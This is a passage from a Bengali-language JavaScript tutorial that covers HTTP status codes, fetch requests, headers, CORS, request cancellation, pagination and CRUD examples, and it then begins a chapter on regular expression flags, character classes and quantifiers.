22.20 Path Parameter বনাম Query Parameter
⚙️ Path Parameter
OUTPUT / TEXT
/api/products/10

এখানে:

OUTPUT / TEXT
10

নির্দিষ্ট product identify করছে।

⚙️ Query Parameter
OUTPUT / TEXT
/api/products?category=phone

এখানে:

OUTPUT / TEXT
category=phone

filter/search-এর মতো optional information।

সহজভাবে:
OUTPUT / TEXT
/products/10
          ↑
       নির্দিষ্ট ID

/products?category=phone
          ↑
       filter/query
22.21 HTTP Status Code
Server response-এর একটি গুরুত্বপূর্ণ অংশ হলো status code।
1xx — Informational
OUTPUT / TEXT
100 Continue
2xx — Success
OUTPUT / TEXT
200 OK
201 Created
202 Accepted
204 No Content
3xx — Redirection
OUTPUT / TEXT
301 Moved Permanently
302 Found
304 Not Modified
4xx — Client Error
OUTPUT / TEXT
400 Bad Request
401 Unauthorized
403 Forbidden
404 Not Found
409 Conflict
422 Unprocessable Content
429 Too Many Requests
5xx — Server Error
OUTPUT / TEXT
500 Internal Server Error
502 Bad Gateway
503 Service Unavailable
504 Gateway Timeout
22.22 সবচেয়ে গুরুত্বপূর্ণ Status Codes
CodeMeaning
200Request successful
201Resource created
204Success, no response body
400Bad request
401Authentication required/failed
403Access forbidden
404Resource not found
409Conflict
422Validation/unprocessable content
429Too many requests
500Server error
503Service unavailable
22.23 response.ok

Fetch-এর response object-এ:

22.23 JavaScript Fetch APIES2026
response.ok

থাকে।

সাধারণভাবে 200–299 status হলে এটি true

Example:

22.23 JavaScript Fetch APIES2026
const response = await fetch("/api/users");

console.log(response.ok);
22.24 response.status
22.24 JavaScript Fetch APIES2026
const response = await fetch("/api/users");

console.log(response.status);

Possible output:

OUTPUT / TEXT
200
22.25 Complete Fetch Error Handling
22.25 JavaScript Fetch APIES2026
async function getUsers() {

    try {

        const response = await fetch("/api/users");

        if (!response.ok) {
            throw new Error(
                `HTTP Error: ${response.status}`
            );
        }

        const users = await response.json();

        console.log(users);

    } catch (error) {

        console.error("Request failed:", error);

    }
}

এটি একটি খুব useful pattern।

Part 03 — Request/Response Headers, Payloads & Stream Aborts (22.26 – 22.38)
22.26 Response Headers

Response-এর headers দেখতে:

22.26 JavaScript Fetch APIES2026
const response = await fetch("/api/users");

console.log(response.headers);

নির্দিষ্ট header:

22.26 JavaScript Fetch APIES2026
console.log(
    response.headers.get("Content-Type")
);
22.27 Request Headers

Server-কে information পাঠাতে headers ব্যবহার করা হয়।

22.27 JavaScript Fetch APIES2026
fetch("/api/users", {

    headers: {
        "Content-Type": "application/json"
    }

});
22.28 Authorization Header

Authentication-এর ক্ষেত্রে অনেক API-তে:

22.28 JavaScript Fetch APIES2026
fetch("/api/profile", {

    headers: {
        "Authorization": "Bearer YOUR_TOKEN"
    }

});

ব্যবহার করা হয়।

এখানে:

OUTPUT / TEXT
Authorization

হলো header।

Bearer YOUR_TOKEN

হলো header value।

Real application-এ token handling নিরাপদভাবে করতে হয়; token অযথা expose করা উচিত নয়।
22.29 Request Body

POST request:

22.29 JavaScript Fetch APIES2026
const user = {
    name: "Shariar",
    email: "shariar@example.com"
};

const response = await fetch("/api/users", {

    method: "POST",

    headers: {
        "Content-Type": "application/json"
    },

    body: JSON.stringify(user)

});

এখানে:

22.29 JavaScript Fetch APIES2026
JSON.stringify(user)

object-কে JSON string-এ convert করছে।

22.30 কেন JSON.stringify()?

JavaScript object:

22.30 JavaScript Fetch APIES2026
{
    name: "Shariar",
    age: 24
}

JSON:

22.30 JSON Payloadapplication/json
{
    "name": "Shariar",
    "age": 24
}

HTTP request body-তে JSON পাঠাতে সাধারণত:

22.30 JavaScript Fetch APIES2026
JSON.stringify()

ব্যবহার করা হয়।

22.31 Response থেকে JSON
22.31 JavaScript Fetch APIES2026
const response = await fetch("/api/users");

const data = await response.json();

response.json() একটি Promise return করে।

তাই:

22.31 JavaScript Fetch APIES2026
await response.json()

ব্যবহার করা হয়।

22.32 Response` Object

Fetch করলে আমরা একটি Response object পাই।

22.32 JavaScript Fetch APIES2026
const response = await fetch(url);
এর গুরুত্বপূর্ণ properties/methods:
OUTPUT / TEXT
response.ok
response.status
response.statusText
response.headers
response.url
response.json()
response.text()
response.blob()
response.arrayBuffer()
response.formData()
22.33 response.text()

যদি server plain text দেয়:

22.33 JavaScript Fetch APIES2026
const response = await fetch("/message");

const text = await response.text();

console.log(text);
22.34 response.json()

JSON response:

22.34 JavaScript Fetch APIES2026
const data = await response.json();

সবচেয়ে common।

22.35 response.blob()

Image/file-এর মতো binary data handle করতে blob() ব্যবহার করা যায়।

22.35 JavaScript Fetch APIES2026
const response = await fetch("/image.jpg");

const blob = await response.blob();

console.log(blob);
22.36 AbortController

কখনো request cancel করতে হয়।

যেমন:

  • User search করছে
  • পুরোনো search request cancel করা দরকার
  • Page change হয়েছে
  • Request timeout করতে হবে

তখন:

22.36 JavaScript Fetch APIES2026
const controller = new AbortController();

fetch("/api/data", {
    signal: controller.signal
});

Cancel:

22.36 JavaScript Fetch APIES2026
controller.abort();
22.37 Abort Example
22.37 JavaScript Fetch APIES2026
const controller = new AbortController();

async function loadData() {

    try {

        const response = await fetch("/api/data", {
            signal: controller.signal
        });

        const data = await response.json();

        console.log(data);

    } catch (error) {

        console.log(error.name);

    }
}

loadData();

// Later
controller.abort();

Abort হলে সাধারণত error-এর name:

OUTPUT / TEXT
AbortError

হতে পারে।

22.38 Fetch Timeout

Fetch-এর জন্য নিজে timeout implement করা যায় AbortController দিয়ে।

22.38 JavaScript Fetch APIES2026
async function fetchWithTimeout(url, ms) {

    const controller = new AbortController();

    const timer = setTimeout(() => {
        controller.abort();
    }, ms);

    try {

        const response = await fetch(url, {
            signal: controller.signal
        });

        return response;

    } finally {

        clearTimeout(timer);

    }
}

ব্যবহার:

22.38 JavaScript Fetch APIES2026
try {

    const response = await fetchWithTimeout(
        "/api/data",
        5000
    );

    console.log(await response.json());

} catch (error) {

    console.log("Request failed or timed out");
}
Part 04 — Web Security: CORS, Preflights, Auth & UI States (22.39 – 22.50)
22.39 CORS
# 🔥 CORS খুব গুরুত্বপূর্ণ
CORS = Cross-Origin Resource Sharing

ধরো:

Frontend:

OUTPUT / TEXT
http://localhost:3000

Backend:

OUTPUT / TEXT
http://localhost:5000

দুইটি different origin।

Browser security-এর কারণে server-কে cross-origin request allow করতে হতে পারে।

22.40 Origin কী?

Origin-এর তিনটি প্রধান অংশ:

OUTPUT / TEXT
scheme + host + port

Example:

OUTPUT / TEXT
https://example.com:443
এগুলো different origin হতে পারে:
OUTPUT / TEXT
http://example.com
https://example.com

কারণ scheme আলাদা।

OUTPUT / TEXT
https://example.com
https://api.example.com

কারণ host আলাদা।

OUTPUT / TEXT
https://example.com:443
https://example.com:8080

কারণ port আলাদা।

22.41 CORS Error Example

Frontend:

22.41 JavaScript Fetch APIES2026
fetch("http://localhost:5000/api/users");
Backend CORS allow না করলে browser console-এ CORS-related error দেখা যেতে পারে।

এটা সাধারণত frontend JavaScript-এর syntax error নয়।

Server-এর CORS configuration-এর সাথে সম্পর্কিত।
22.42 Preflight Request

কিছু cross-origin request-এর আগে browser:

22.42 HTTP ProtocolHTTP/1.1
OPTIONS

request পাঠাতে পারে।

এটাকে বলা হয়:

# Preflight Request

এটি server-কে জিজ্ঞেস করে:

"এই ধরনের cross-origin request আমি করতে পারব?"
Server appropriate CORS headers দিয়ে অনুমতি দিতে পারে।
22.43 CORS Headers

Server response-এ এমন header থাকতে পারে:

22.43 HTTP ProtocolHTTP/1.1
Access-Control-Allow-Origin: https://example.com

এটি নির্দিষ্ট origin allow করতে পারে।

আরও headers:

OUTPUT / TEXT
Access-Control-Allow-Methods
Access-Control-Allow-Headers
Access-Control-Allow-Credentials
22.44 Frontend থেকে Backend Example

ধরো:

Frontend http://localhost:5173 Backend http://localhost:5000

Frontend:

22.44 JavaScript Fetch APIES2026
const response = await fetch(
    "http://localhost:5000/api/products"
);

const products = await response.json();

console.log(products);
Backend-কে CORS appropriately configure করতে হবে।
22.45 API Data Rendering

ধরো API থেকে:

22.45 JSON Payloadapplication/json
[
    {
        "id": 1,
        "name": "Laptop",
        "price": 70000
    },
    {
        "id": 2,
        "name": "Phone",
        "price": 30000
    }
]

JavaScript:

22.45 JavaScript Fetch APIES2026
async function loadProducts() {

    const response = await fetch("/api/products");

    const products = await response.json();

    const list = document.querySelector("#productList");

    products.forEach(product => {

        const li = document.createElement("li");

        li.textContent =
            `${product.name} - ৳${product.price}`;

        list.appendChild(li);

    });
}

loadProducts();

HTML:

22.45 HTMLMarkup
<ul id="productList"></ul>
22.46 Loading, Success, Error State
Modern frontend application-এ API call-এর তিনটি গুরুত্বপূর্ণ UI state:
OUTPUT / TEXT
Loading
Success
Error

Example:

22.46 JavaScript Fetch APIES2026
async function loadProducts() {

    const status = document.querySelector("#status");

    try {

        status.textContent = "Loading...";

        const response = await fetch("/api/products");

        if (!response.ok) {
            throw new Error("Failed to load");
        }

        const products = await response.json();

        status.textContent =
            `${products.length} products loaded`;

    } catch (error) {

        status.textContent =
            "Could not load products.";

    }
}
22.47 Search API Example

ধরো user search box-এ লিখল:

OUTPUT / TEXT
laptop

Frontend:

22.47 JavaScript Fetch APIES2026
async function searchProducts(query) {

    const params = new URLSearchParams({
        search: query
    });

    const response = await fetch(
        `/api/products?${params}`
    );

    if (!response.ok) {
        throw new Error("Search failed");
    }

    return response.json();
}

Call:

22.47 JavaScript Fetch APIES2026
const products =
    await searchProducts("laptop");

console.log(products);
22.48 POST Form Data

ধরো signup form:

22.48 JavaScript Fetch APIES2026
const form = document.querySelector("#signupForm");

form.addEventListener("submit", async (event) => {

    event.preventDefault();

    const formData = new FormData(form);

    const user = Object.fromEntries(formData);

    const response = await fetch("/api/register", {

        method: "POST",

        headers: {
            "Content-Type": "application/json"
        },

        body: JSON.stringify(user)

    });

    const result = await response.json();

    console.log(result);
});

এখানে Chapter 17-এর FormData + Chapter 19-এর JSON + Chapter 21-এর async/await + Chapter 22-এর HTTP/API একসাথে ব্যবহার হয়েছে।

22.49 API Authentication

একটি private API:

OUTPUT / TEXT
GET /api/profile

request-এর সাথে authentication information লাগতে পারে।

Example:

22.49 JavaScript Fetch APIES2026
const response = await fetch("/api/profile", {

    headers: {
        Authorization: `Bearer ${token}`
    }

});

Flow:

Login ↓ Server verifies credentials ↓ Authentication result/token ↓ Client sends credentials/token ↓ Protected API

Authentication এবং authorization এক জিনিস নয়।

Authentication
তুমি কে?
Authorization
তুমি কী করতে পারবে?
22.50 401 vs 403
401 Unauthorized

সাধারণত authentication প্রয়োজন বা credentials invalid/missing।

OUTPUT / TEXT
"তুমি কে?"
403 Forbidden

Server request বুঝেছে, কিন্তু access অনুমোদিত নয়।

OUTPUT / TEXT
"তুমি কে জানি, কিন্তু এই কাজের permission নেই।"
Part 05 — Enterprise Patterns: Pagination, DevTools & Full CRUD (22.51 – 22.69)
22.51 API Pagination

ধরো database-এ:

OUTPUT / TEXT
100,000 products

একবারে সব পাঠানো inefficient।

তাই pagination:

OUTPUT / TEXT
/api/products?page=1&limit=20

Page 1:

OUTPUT / TEXT
Products 1–20

Page 2:

OUTPUT / TEXT
Products 21–40
22.52 Pagination Example
22.52 JavaScript Fetch APIES2026
async function getProducts(page = 1) {

    const params = new URLSearchParams({
        page,
        limit: 20
    });

    const response = await fetch(
        `/api/products?${params}`
    );

    return response.json();
}
22.53 API Filtering
OUTPUT / TEXT
/api/products?category=laptop

JavaScript:

22.53 JavaScript Fetch APIES2026
const params = new URLSearchParams({
    category: "laptop"
});

const response = await fetch(
    `/api/products?${params}`
);
22.54 API Sorting
OUTPUT / TEXT
/api/products?sort=price&order=asc

অথবা:

OUTPUT / TEXT
/api/products?sort=createdAt&order=desc

Backend এই parameters অনুযায়ী data sort করতে পারে।

22.55 API Request-এর Full Structure

একটি request:

┌──────────────────────────────┐ │ Method │ │ GET / POST / PATCH / DELETE │ ├──────────────────────────────┤ │ URL │ ├──────────────────────────────┤ │ Headers │ ├──────────────────────────────┤ │ Body │ └──────────────────────────────┘

Response:

┌──────────────────────────────┐ │ Status Code │ ├──────────────────────────────┤ │ Headers │ ├──────────────────────────────┤ │ Body │ └──────────────────────────────┘
22.56 GET vs POST
বিষয়GETPOST
PurposeData নেওয়াData তৈরি/submit
Bodyসাধারণত ব্যবহার করা হয় নাসাধারণত থাকে
Query paramsCommonCommon
Data modificationসাধারণত নয়হতে পারে
Idempotentসাধারণত হ্যাঁসাধারণত নয়
CacheCacheable হতে পারেসাধারণত defaultভাবে নয়
22.57 PUT vs PATCH
PUTPATCH
সম্পূর্ণ resource replace/update-এর জন্যআংশিক update-এর জন্য
পুরো representation পাঠানোর pattern commonশুধু পরিবর্তিত field পাঠানো common

Example:

PUT:

22.57 JSON Payloadapplication/json
{
    "name": "Shariar",
    "email": "new@example.com",
    "age": 24
}

PATCH:

22.57 JSON Payloadapplication/json
{
    "email": "new@example.com"
}
22.58 Idempotency
এটি একটু advanced কিন্তু গুরুত্বপূর্ণ।

কোনো operation একইভাবে বারবার করলে final state একই থাকে কি না—এটি idempotency-এর ধারণার সাথে সম্পর্কিত।

উদাহরণ:

OUTPUT / TEXT
PUT /users/1

একই update বারবার পাঠালে সাধারণত একই final state পাওয়া যায়।

অন্যদিকে:

OUTPUT / TEXT
POST /orders

একই request বারবার পাঠালে multiple order তৈরি হতে পারে, যদি server-side ব্যবস্থা না থাকে।

22.59 HTTP Request-এর Real-Life Example

তুমি e-commerce website-এ:

Product দেখতে:
22.59 HTTP ProtocolHTTP/1.1
GET /api/products/10
Cart-এ add:
22.59 HTTP ProtocolHTTP/1.1
POST /api/cart
Quantity update:
22.59 HTTP ProtocolHTTP/1.1
PATCH /api/cart/10
Cart item remove:
22.59 HTTP ProtocolHTTP/1.1
DELETE /api/cart/10
Order create:
22.59 HTTP ProtocolHTTP/1.1
POST /api/orders
22.60 Complete E-Commerce API Flow
E-Commerce Frontend │ ┌──────────┼──────────┐ ↓ ↓ ↓ GET POST PATCH Products Cart Cart │ │ │ └──────────┼──────────┘ ↓ Backend API ↓ Database ↓ JSON ↓ Frontend UI
22.61 API Error Handling — Professional Pattern
22.61 JavaScript Fetch APIES2026
async function apiRequest(url, options = {}) {

    try {

        const response = await fetch(url, options);

        if (!response.ok) {

            throw new Error(
                `Request failed: ${response.status}`
            );

        }

        const contentType =
            response.headers.get("content-type");

        if (contentType?.includes("application/json")) {

            return await response.json();

        }

        return await response.text();

    } catch (error) {

        console.error("API Error:", error);

        throw error;
    }
}

ব্যবহার:

22.61 JavaScript Fetch APIES2026
const users = await apiRequest("/api/users");

console.log(users);

এভাবে একটি reusable API utility তৈরি করা যায়।

22.62 fetch()` কি automatically JSON বুঝে?

❌ না।

এই:

22.62 JavaScript Fetch APIES2026
const response = await fetch(url);

শুধু response দেয়।

JSON পেতে:

22.62 JavaScript Fetch APIES2026
const data = await response.json();

করতে হবে।

22.63 fetch()` কি 404-এ automatically reject করে?

❌ সাধারণ HTTP 4xx/5xx status-এর জন্য সাধারণত না।

তাই:

22.63 JavaScript Fetch APIES2026
if (!response.ok) {
    throw new Error("Request failed");
}
check করা গুরুত্বপূর্ণ।

Network-level failure হলে Fetch Promise reject করতে পারে।

22.64 Network Error

যেমন:

OUTPUT / TEXT
Internet disconnected
DNS problem
Connection failed
Request aborted

এ ধরনের ক্ষেত্রে fetch() reject করতে পারে।

তাই:

22.64 JavaScript Fetch APIES2026
try {
    ...
} catch (error) {
    ...
}
গুরুত্বপূর্ণ।
22.65 Browser DevTools — Network Tab

API debugging-এর জন্য:

Chrome DevTools ↓ Network

এখানে দেখতে পারবে:

  • Request URL
  • Request Method
  • Status Code
  • Request Headers
  • Response Headers
  • Request Payload
  • Response
  • Timing
  • Initiator

Frontend developer হিসেবে Network tab ভালোভাবে জানা খুব জরুরি।

22.66 Network Debugging Example

ধরো API কাজ করছে না।

Network tab-এ দেখলে:

OUTPUT / TEXT
Request:
POST /api/login

Status:
401

তাহলে authentication-related problem হতে পারে।

অথবা:

OUTPUT / TEXT
404

হলে endpoint ভুল হতে পারে।

অথবা:

OUTPUT / TEXT
500

হলে server-side error হতে পারে।

22.67 REST API-এর একটি সম্পূর্ণ Example

ধরো Student Management System।

Get all students
22.67 JavaScript Fetch APIES2026
async function getStudents() {

    const response =
        await fetch("/api/students");

    if (!response.ok) {
        throw new Error("Failed");
    }

    return response.json();
}
Create student
22.67 JavaScript Fetch APIES2026
async function createStudent(student) {

    const response =
        await fetch("/api/students", {

            method: "POST",

            headers: {
                "Content-Type": "application/json"
            },

            body: JSON.stringify(student)

        });

    if (!response.ok) {
        throw new Error("Creation failed");
    }

    return response.json();
}
Update student
22.67 JavaScript Fetch APIES2026
async function updateStudent(id, data) {

    const response =
        await fetch(`/api/students/${id}`, {

            method: "PATCH",

            headers: {
                "Content-Type": "application/json"
            },

            body: JSON.stringify(data)

        });

    if (!response.ok) {
        throw new Error("Update failed");
    }

    return response.json();
}
Delete student
22.67 JavaScript Fetch APIES2026
async function deleteStudent(id) {

    const response =
        await fetch(`/api/students/${id}`, {

            method: "DELETE"

        });

    if (!response.ok) {
        throw new Error("Delete failed");
    }
}
22.68 পুরো CRUD একসাথে
22.68 JavaScript Fetch APIES2026
// READ
const students =
    await fetch("/api/students")
        .then(res => res.json());


// CREATE
await fetch("/api/students", {

    method: "POST",

    headers: {
        "Content-Type": "application/json"
    },

    body: JSON.stringify({
        name: "Shariar",
        department: "CSE"
    })

});


// UPDATE
await fetch("/api/students/1", {

    method: "PATCH",

    headers: {
        "Content-Type": "application/json"
    },

    body: JSON.stringify({
        department: "Software Engineering"
    })

});


// DELETE
await fetch("/api/students/1", {

    method: "DELETE"

});
22.69 Frontend Developer হিসেবে API শেখার গুরুত্ব

React application-এ তুমি প্রায়ই করবে:

22.69 JavaScript Fetch APIES2026
useEffect(() => {

    fetch("/api/products")
        .then(response => response.json())
        .then(data => {
            setProducts(data);
        });

}, []);

অথবা:

22.69 JavaScript Fetch APIES2026
const response = await fetch("/api/products");
const data = await response.json();

Node.js/Express backend-এর সাথে:

React ↓ Fetch/Axios ↓ Express API ↓ MongoDB/PostgreSQL

এটাই Full Stack development-এর core workflow-এর একটি অংশ।

Part 06 — REST API Mastery: Must Know, Cheat Sheet, Practice Lab & Mental Map
MUST KNOW 🔥 22.70 Must Know — HTTP & REST API Pillars

এই Chapter থেকে অবশ্যই জানতে হবে:

HTTP
  • HTTP
  • Request
  • Response
  • URL
  • Headers
  • Body
HTTP Methods
OUTPUT / TEXT
GET
POST
PUT
PATCH
DELETE
HEAD
OPTIONS
Status Codes
OUTPUT / TEXT
200
201
204
400
401
403
404
409
422
429
500
503
REST
  • REST
  • Resource
  • RESTful URL
  • Path parameter
  • Query parameter
  • CRUD
  • Idempotency basic concept
Fetch
JavaScript Fetch APIES2026
fetch()
  • GET
  • POST
  • PUT
  • PATCH
  • DELETE
  • Headers
  • Body
  • JSON.stringify()
  • response.json()
  • response.text()
  • response.ok
  • response.status
  • response.headers
Advanced
  • CORS
  • Preflight
  • OPTIONS
  • AbortController
  • Timeout
  • Pagination
  • Filtering
  • Sorting
  • Authentication
  • Authorization
  • 401 vs 403
  • Network debugging
CHEAT SHEET 🧠 Quick Cheat Sheet — HTTP Methods, Headers & Fetch Patterns
GET
JavaScript Fetch APIES2026
const response = await fetch("/api/users");

const data = await response.json();
POST
JavaScript Fetch APIES2026
await fetch("/api/users", {

    method: "POST",

    headers: {
        "Content-Type": "application/json"
    },

    body: JSON.stringify({
        name: "Shariar"
    })

});
PATCH
JavaScript Fetch APIES2026
await fetch("/api/users/1", {

    method: "PATCH",

    headers: {
        "Content-Type": "application/json"
    },

    body: JSON.stringify({
        name: "New Name"
    })

});
DELETE
JavaScript Fetch APIES2026
await fetch("/api/users/1", {
    method: "DELETE"
});
Error Check
JavaScript Fetch APIES2026
if (!response.ok) {
    throw new Error(
        `HTTP ${response.status}`
    );
}
⚙️ Query Parameter
JavaScript Fetch APIES2026
const params = new URLSearchParams({
    search: "laptop",
    page: 1
});

fetch(`/api/products?${params}`);
Authorization
JavaScript Fetch APIES2026
fetch("/api/profile", {

    headers: {
        Authorization: `Bearer ${token}`
    }

});
Abort
JavaScript Fetch APIES2026
const controller =
    new AbortController();

fetch(url, {
    signal: controller.signal
});

controller.abort();
PRACTICE LAB 📝 Practice Set — 7 Practical API & CRUD Challenges

Practice 1 — GET

একটি function তৈরি করো:

JavaScript Fetch APIES2026
getProducts()

যেটি:

OUTPUT / TEXT
/api/products

থেকে data আনবে।

Practice 2 — POST

একটি function:

JavaScript Fetch APIES2026
createUser()

তৈরি করো যেটি এই data পাঠাবে:

JavaScript Fetch APIES2026
{
    name: "Shariar",
    email: "shariar@example.com"
}

Practice 3 — PATCH

Product id = 10-এর শুধু price update করো:

OUTPUT / TEXT
85000

Practice 4 — DELETE

Product id = 20 delete করার function তৈরি করো।

Practice 5 — Search

User input:

OUTPUT / TEXT
laptop

থেকে URL তৈরি করো:

OUTPUT / TEXT
/api/products?search=laptop

Practice 6 — Error Handling

এমন code লেখো যেখানে:

JavaScript Fetch APIES2026
response.ok === false

হলে custom error throw করবে।

Practice 7 — Full CRUD

একটি:

OUTPUT / TEXT
Student Management API

এর জন্য frontend-side functions তৈরি করো:

JavaScript Fetch APIES2026
getStudents()
createStudent()
updateStudent()
deleteStudent()
SUMMARY 🎯 Chapter 22 Final Mental Map — Web API, HTTP & Data Pipeline
পুরো Chapter-টি এইভাবে মনে রাখো:
WEB API │ HTTP │ ┌─────────┴─────────┐ │ │ Request Response │ │ ┌──────┼──────┐ ┌────┼─────┐ │ │ │ │ │ │ Method URL Headers Status Headers Body │ ┌─────┼──────────────────────────┐ │ │ │ │ │ GET POST PUT PATCH DELETE │ └──────────────┐ ↓ CRUD ↓ REST API ↓ fetch() ↓ Promise ↓ async/await ↓ JSON ↓ Frontend UI
📌 ⭐ সবচেয়ে গুরুত্বপূর্ণ বাস্তব Flow:
User clicks button ↓ JavaScript event ↓ fetch() ↓ HTTP Request ↓ Backend API ↓ Database ↓ HTTP Response ↓ response.json() ↓ JavaScript data ↓ DOM / React State ↓ UI Update

Chapter 21 + 22 একসাথে করলে এখন তুমি JavaScript-এর asynchronous programming থেকে শুরু করে বাস্তব API communication পর্যন্ত একটি complete foundation তৈরি করে ফেলেছ।

NEXT CHAPTER 📘 Chapter 23 Preview — Advanced Regular Expressions (RegExp)

পরবর্তী অধ্যায়ে আমরা জাভাস্ক্রিপ্টের অন্যতম শক্তিশালী টেক্সট প্রসেসিং ইঞ্জিন Advanced Regular Expressions (RegExp) নিয়ে বিস্তারিত শিখব—Lookaheads, Lookbehinds, Named Capturing Groups, Unicode Property Escapes, এবং বাস্তব ডেটা ভ্যালিডেশন প্যাটার্নস।

Chapter 23
↑ Index
Advanced Regular Expressions (RegExp) — অ্যাডভান্সড রেগুলার এক্সপ্রেশন
Total Sections
81 Modules + Practice
Curriculum Part
Part 17 — Advanced Text Processing & RegExp
Core Mechanics
Patterns, Lookarounds, Groups & Security
Reference Standard
ECMAScript 2026 / RegExp v-flag Standard

Regular Expression — Pattern দিয়ে Text খোঁজা, যাচাই, Extract ও Replace করা

Chapter 13-এ আমরা RegExp-এর প্রাথমিক ধারণা দেখেছি। প্রফেশনাল সফটওয়্যার ইঞ্জিনিয়ারিংয়ে ব্যবহারকারীর ইনপুট ভ্যালিডেশন, টেক্সট ক্লিনিং, ইউজারনেম/ইমেইল/পাসওয়ার্ড ভেরিফিকেশন এবং সিকিউর স্যানিটাইজেশনের জন্য Advanced Regular Expressions একটি অত্যন্ত শক্তিশালী টুল।

Text String  →  RegExp Engine (/pattern/flags)  →  Token Matching / Capturing Groups  →  Extraction / Validation / Replacement

সরাসরি Form Validation, API Data Cleaning এবং Text Analytics-এর শতভাগ নিখুঁত সমাধান তৈরি করে এই রেজেক্স আর্কিটেকচার। 🔥

Part 01 — RegExp Core Mechanics, Engine Construction & Flags (23.1 – 23.8)
23.1 Regular Expression কী?

Regular Expression বা Regex হলো একটি pattern language।

সহজভাবে:

কোনো text-এর মধ্যে নির্দিষ্ট ধরনের pattern খোঁজা বা যাচাই করার নিয়ম হলো Regular Expression।

ধরো:

OUTPUT / TEXT
Hello Shariar
Hello Rahim
Hello Karim

তুমি যদি এমন text খুঁজতে চাও যেটা:

OUTPUT / TEXT
Hello + একটি নাম

তাহলে Regex pattern ব্যবহার করতে পারো।

23.2 Real-Life Example

ধরো একটি registration form:

OUTPUT / TEXT
Email: __________
Phone: __________
Password: _______

User লিখল:

OUTPUT / TEXT
abc@xyz.com

তুমি check করতে চাও:

এটা email-এর মতো দেখতে কি না?

Regex দিয়ে pattern check করা যায়।

23.3 Regex তৈরি করার দুইটি উপায়
1. Regex Literal
23.3 JavaScript RegExpES2026
const pattern = /hello/;
2. RegExp Constructor
23.3 JavaScript RegExpES2026
const pattern = new RegExp("hello");

সাধারণ static pattern-এর জন্য literal বেশি convenient।

23.4 test()

Pattern match করছে কি না দেখতে:

23.4 JavaScript RegExpES2026
const pattern = /hello/;

console.log(pattern.test("hello world"));
CONSOLE OUTPUT
true
আরেকটি:
23.4 JavaScript RegExpES2026
const pattern = /hello/;

console.log(pattern.test("Hi world"));
OUTPUT / TEXT
false
23.5 Case Sensitivity
23.5 JavaScript RegExpES2026
const pattern = /hello/;

console.log(pattern.test("Hello"));
OUTPUT / TEXT
false

কারণ:

OUTPUT / TEXT
hello

এবং:

OUTPUT / TEXT
Hello

এক নয়।

23.6 i` Flag

Case-insensitive করতে:

23.6 JavaScript RegExpES2026
const pattern = /hello/i;

console.log(pattern.test("Hello"));
OUTPUT / TEXT
true

এখন:

OUTPUT / TEXT
hello
HELLO
Hello
hElLo

সব match করবে।

23.7 গুরুত্বপূর্ণ Regex Flags
Flagকাজ
iCase-insensitive
gGlobal search
mMultiline
sDot যেন newline-ও match করতে পারে
uUnicode-aware matching
ySticky matching
dMatch indices তৈরি করতে সাহায্য করে

Example:

23.7 JavaScript RegExpES2026
/hello/gi

মানে:

g → সব match i → case-insensitive
23.8 g` Flag
23.8 JavaScript RegExpES2026
const text = "cat cat cat";

console.log(
    text.match(/cat/g)
);
23.8 JavaScript RegExpES2026
["cat", "cat", "cat"]

g না দিলে:

23.8 JavaScript RegExpES2026
console.log(
    text.match(/cat/)
);

শুধু প্রথম match-এর information পাওয়া যায়।

Part 02 — Character Classes, Negation, Shorthands & Metacharacters (23.9 – 23.16)
23.9 Character Classes
Regex-এর সবচেয়ে গুরুত্বপূর্ণ অংশগুলোর একটি।
[abc]

মানে:

a, b অথবা c—যেকোনো একটি character।
23.9 JavaScript RegExpES2026
console.log(/[abc]/.test("apple"));
OUTPUT / TEXT
true

কারণ apple-এ a আছে।

23.10 [a-z]
23.10 JavaScript RegExpES2026
/[a-z]/

মানে:

OUTPUT / TEXT
a থেকে z

Example:

23.10 JavaScript RegExpES2026
console.log(/[a-z]/.test("hello"));
OUTPUT / TEXT
true
23.11 [A-Z]
23.11 JavaScript RegExpES2026
console.log(/[A-Z]/.test("Hello"));
OUTPUT / TEXT
true
23.12 [0-9]

Number character:

23.12 JavaScript RegExpES2026
console.log(/[0-9]/.test("abc5"));
OUTPUT / TEXT
true
23.13 Negated Character Class

[^...]

মানে:

এই characters-এর কোনোটি নয়।

Example:

23.13 JavaScript RegExpES2026
/[^0-9]/

মানে:

digit নয় এমন character।
23.13 JavaScript RegExpES2026
console.log(/[^0-9]/.test("123"));
OUTPUT / TEXT
false

কিন্তু:

23.13 JavaScript RegExpES2026
console.log(/[^0-9]/.test("123a"));
OUTPUT / TEXT
true

কারণ a digit নয়।

23.14 Shorthand Character Classes

Regex-এ কিছু shortcut আছে।

\d

Digit:

OUTPUT / TEXT
0-9
23.14 JavaScript RegExpES2026
console.log(/\d/.test("abc5"));
OUTPUT / TEXT
true
\D

Non-digit:

23.14 JavaScript RegExpES2026
console.log(/\D/.test("123"));
OUTPUT / TEXT
false
\w

Word character:

সাধারণত:

OUTPUT / TEXT
A-Z
a-z
0-9
_
23.14 JavaScript RegExpES2026
console.log(/\w/.test("hello"));
OUTPUT / TEXT
true
\W

Non-word character।

\s

Whitespace:

OUTPUT / TEXT
space
tab
newline
\S

Non-whitespace।

23.15 Dot `.

Regex-এ:

23.15 RegExp PatternPattern
.

সাধারণত newline ছাড়া যেকোনো একটি character match করে।

23.15 JavaScript RegExpES2026
console.log(/c.t/.test("cat"));
OUTPUT / TEXT
true

এগুলোও match করতে পারে:

OUTPUT / TEXT
cat
cot
cut
c9t
23.16 Dot + s Flag

s flag ব্যবহার করলে dot newline-ও match করতে পারে।

23.16 JavaScript RegExpES2026
const text = "Hello\nWorld";

console.log(/Hello.World/s.test(text));
OUTPUT / TEXT
true
Part 03 — Quantifiers, Boundary Anchors & Alternation Patterns (23.17 – 23.28)
23.17 Quantifiers

Quantifier বলে:

কোনো pattern কতবার থাকতে পারবে।
সবচেয়ে গুরুত্বপূর্ণ:
OUTPUT / TEXT
+
*
?
{n}
{n,m}
{n,}
23.18 +

+ মানে:

এক বা তার বেশি।
23.18 JavaScript RegExpES2026
console.log(/\d+/.test("12345"));
OUTPUT / TEXT
true

+ ছাড়া:

23.18 JavaScript RegExpES2026
/\d/

শুধু একটি digit match করার concept।

23.19

* মানে:

zero বা তার বেশি।
23.19 JavaScript RegExpES2026
console.log(/go*/.test("g"));
OUTPUT / TEXT
true

কারণ o zero times-ও থাকতে পারে।

এগুলো match করতে পারে:

OUTPUT / TEXT
g
go
goo
gooo
23.20 ?

? মানে:

zero অথবা one time।
23.20 JavaScript RegExpES2026
/go?/.test("go");

true।

23.20 JavaScript RegExpES2026
/go?/.test("g");

এটিও true।

23.21 {n}

ঠিক n বার।

23.21 JavaScript RegExpES2026
/\d{4}/

মানে 4টি digit।

